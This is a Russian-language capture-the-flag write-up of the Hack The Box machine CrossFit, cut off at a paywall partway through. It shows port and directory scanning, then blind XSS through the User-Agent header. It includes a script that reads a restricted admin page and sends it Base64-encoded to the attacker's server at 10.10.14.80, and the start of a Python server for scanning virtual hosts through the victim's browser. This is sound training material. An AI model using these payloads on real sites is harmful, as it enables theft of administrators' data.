В этой статье на примере «безумной» по уровню сложности машины CrossFit с площадки Hack The Box я покажу, как искать XSS на недоступных страницах сайта, сканировать домены через XSS, проводить разведку на машине с Linux, удаленно исполнять код, используя FTP, и эксплуатировать инъекцию команд в пользовательском приложении. А под конец немного пореверсим, чтобы найти финальную уязвимость.
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Адрес машины — 10.10.10.208, добавляем его в /etc/hosts
для удобства.
10.10.10.208 crossfit.htb
Сканируем порты. Я, как всегда, использую небольшой скрипт, который запускает Nmap в два этапа: быстрое общее сканирование и затем сканирование со скриптами на обнаруженных портах.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
По результатам сканирования имеем три открытых порта:
На SSH нам ловить нечего, так как там можно разве что брутфорсить учетные данные, а это последнее дело. Куда интереснее наличие сертификата у службы FTP. Как учат все курсы разведки, из сертификата можно получить интересную информацию. У любого сертификата есть важное поле Common Name — доменное имя сервера, для которого действителен сертификат. В нашем случае это gym-club.crossfit.htb
.
Найденное имя мы сразу добавляем в файл /etc/hosts
.
10.10.10.208 gym-club.crossfit.htb
Переходим к веб‑серверу. На 80-м порте по адресу http://crossfit.htb
нас встречает стартовая страница Apache. А вот по найденному в сертификате домену http://gym-club.crossfit.htb
открывается сайт тренажерного зала.
Одно из первых действий при пентестинге веб‑приложения — это сканирование сайта на наличие интересных каталогов и файлов. Я обычно беру для этого утилиту gobuster. При запуске используем следующие параметры:
dir
— сканирование директорий и файлов;-k
— не проверять SSL-сертификат;-t []
— количество потоков;-u []
— URL-адрес для сканирования;-x []
— интересующие расширения файлов, перечисленные через запятую;-w []
— словарь для перебора;--timeout []
— время ожидания ответа. gobuster dir -t 128 -u http://crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s
gobuster dir -t 128 -u http://gym-club.crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s
По результатам сканирования можно сказать, что http://crossfit.htb
интереса больше не представляет. На http://gym-club.crossfit.htb
есть интересный каталог с вызывающим названием security_threat
. В нем — единственный файл, при обращении к которому получаем сообщение, что доступ к информации ограничен.
Пока ничего существенного мы не нашли, но все же получили дополнительную информацию.
При осмотре сайта находим форму отправки комментариев, которые могут быть подвержены XSS. Вот только ответ мы не видим, поэтому нужно выполнить отстук на свой хост. Для этого откроем порт с помощью простого веб‑сервера на Python, чтобы мы могли отлавливать все обращения.
sudo python3 -m http.server 80
И, когда все готово, отправим нагрузку, которая должна загрузить удаленный скрипт на JS.
<script src="http://[локальный IP адрес]/></script>
В качестве ответа на такой комментарий получаем сообщение об обнаруженной и заблокированной атаке XSS!
Здесь сказано, что наш IP-адрес и информация о браузере будут предоставлены администратору ресурса. Прекрасно! Значит, мы можем попробовать выполнить XSS, но уже для администратора.
На источник IP мы повлиять не можем, а вот информацию о браузере сервис узнает из заголовка User-Agent
протокола HTTP. Значение этого заголовка мы можем подменить хоть в самом браузере, хоть в специальных приложениях вроде Burp.
Стоит помнить, что сообщение будет доставлено только в случае детекта XSS. То есть нужно отправить нагрузку и в поле комментария, и в заголовке User-Agent
. Я открыл порт 8888 и заменил значение заголовка при помощи Burp. После отправки запроса получаем отклик в логах нашего веб‑сервера.
Это значит, что мы можем выполнить загрузку удаленного скрипта на JS и эксплуатировать XSS.
Теперь нужно определиться с вектором атаки. Помнишь страницу с ограничением доступа? От имени администратора мы наверняка сможем ее посмотреть, а XSS поможет нам в этом. Код страницы мы получим, используя методы open
и send
объекта XMLHttpRequest
.
var xhr = new XMLHttpRequest();xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.send();
Код запрошенной страницы здесь сохраняется в переменной xhr.responseText
, и его еще нужно передать на наш сервер, чтобы он отобразился в логах. Значение для сохранения целостности сначала закодируем в Base64, чтобы непечатаемые символы нам не помешали. В качестве триггера для отправки будем использовать метод onload
объекта XMLHttpRequest
. Полный код выглядит следующим образом.
var xhr = new XMLHttpRequest();xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.onload = function () { var request = new XMLHttpRequest(); request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(xhr.responseText), true); request.send();};xhr.send();
Сохраняем его в файл (у меня evil.js
) в директории запущенного веб‑сервера. После чего повторяем запрос с известной нагрузкой в заголовке User-Agent
, но уже указываем для загрузки скрипта свой файл.
<script src="http://10.10.14.80:8888/evil.js"></script>
В логах веб‑сервера получаем информацию: сначала о загрузке скрипта, а потом обращение к вымышленной странице. В качестве аргумента приходят данные в кодировке Base64, декодируем их.
К сожалению, ничего интересного мы не получаем, так что в этом месте мне пришлось крепко задуматься о том, как развивать атаку дальше. В голову пришла идея проверить доступные с localhost виртуальные хосты. Сканер для этого придется реализовать самостоятельно.
Идея состоит в том, что мы будем провоцировать удаленный хост снова и снова загружать скрипт на JS с нашего локального сервера, но только каждый раз мы будем возвращать такой скрипт, который вместо страницы http://gym-club.crossfit.htb/security_threat/report.php
будет запрашивать корневую страницу на разных поддоменах http://[random].crossfit.htb
.
Программировать будем на питоне. Нам нужно проверять код ответа — если он равен 200, значит, виртуальный хост существует.
Сначала пишем стандартную «базу» для сервера.
#!/usr/bin/env python3from http.server import BaseHTTPRequestHandler, HTTPServerimport loggingimport requestsdef run(server_class=HTTPServer, handler_class=EvilServer, port=8888): server_address = ('', port) httpd = server_class(server_address, handler_class) request() try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close()if __name__ == '__main__':run()
Чтобы избежать кеширования файла при многократном запросе, будем вести счетчик vhost_number
и каждый раз менять имя файла со скриптом на JS. В качестве словаря используем namelist.txt из набора SecLists.
global vhost_numbervhost_number = 0;with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f: global vhostsvhosts = f.read().split('n')[:-1]
Теперь реализуем функцию первоначальной отправки комментария, которая будет отсылать нагрузку.
def request(): headers = {'User-Agent':'<script src="http://10.10.14.80:8888/evil'+str(vhost_number)+'.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'} data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'} requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
1 год9300 р. |
1 месяц870 р. |
Я уже участник «Xakep.ru»
Читайте также
Последние новости